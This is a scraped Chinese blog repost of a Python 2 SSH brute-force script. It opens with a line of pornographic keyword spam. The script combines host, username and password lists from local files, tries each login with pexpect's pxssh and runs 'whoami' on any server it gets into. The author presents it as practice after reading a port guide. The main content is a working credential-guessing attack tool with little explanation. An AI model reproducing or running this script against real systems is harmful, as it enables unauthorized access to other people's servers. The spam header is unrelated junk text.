日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python ssh脚本_ssh爆破(python脚本)

發布時間:2023/12/10 python 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python ssh脚本_ssh爆破(python脚本) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

最近在烏云看到一份端口詳解:為了鍛煉自己,按照端口詳解寫腳本

#!/usr/local/bin/ python

# -*- coding: UTF-8 -*-

__author__ = 'yangxiaodi'

from multiprocessing import Pool

from pexpect import pxssh

import sys

reload(sys)

sys.setdefaultencoding( "utf-8" )

datas=[]

def connect():

cmd = 'whoami'

for data in datas:

host = data.split(':',2)[0]

user = data.split(':',2)[1]

password = data.split(':',2)[2]

try:

s = pxssh.pxssh(timeout=3)

s.login(host,user,password)

s.sendline(cmd)

s.prompt()

print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 執行命令:'+s.before

except:

print u'錯誤 [-] ssh host:'+host+' user:'+user+' password:'+password

def read_file(filepath):

f = open(filepath).readlines()

return f

def get_host_user_pass():

host = read_file('host.txt')

for h in host:

h = h.replace('\n','')

user = read_file('user.txt')

for u in user:

u = u.replace('\n','')

passs = read_file('pass.txt')

for pas in passs:

pas = pas.replace('\n','')

datas.append(h+':'+u+':'+pas)

return True

resu = []

get_host_user_pass()

p = Pool()

resu.append(p.apply_async(connect,args=()))

p.close()

p.join()

for res in resu:

print res.get()

print 'all subprocesses done.'

本地要有三個文件 ?user.txt ,?host.txt ,?pass.txt

這次沒在腳本做判斷,遇到成功的還是繼續爆破成功的ip,原因是用了多進程,然后不會改,留到后面再來解決。(有人幫忙嗎)

總結

以上是生活随笔為你收集整理的python ssh脚本_ssh爆破(python脚本)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。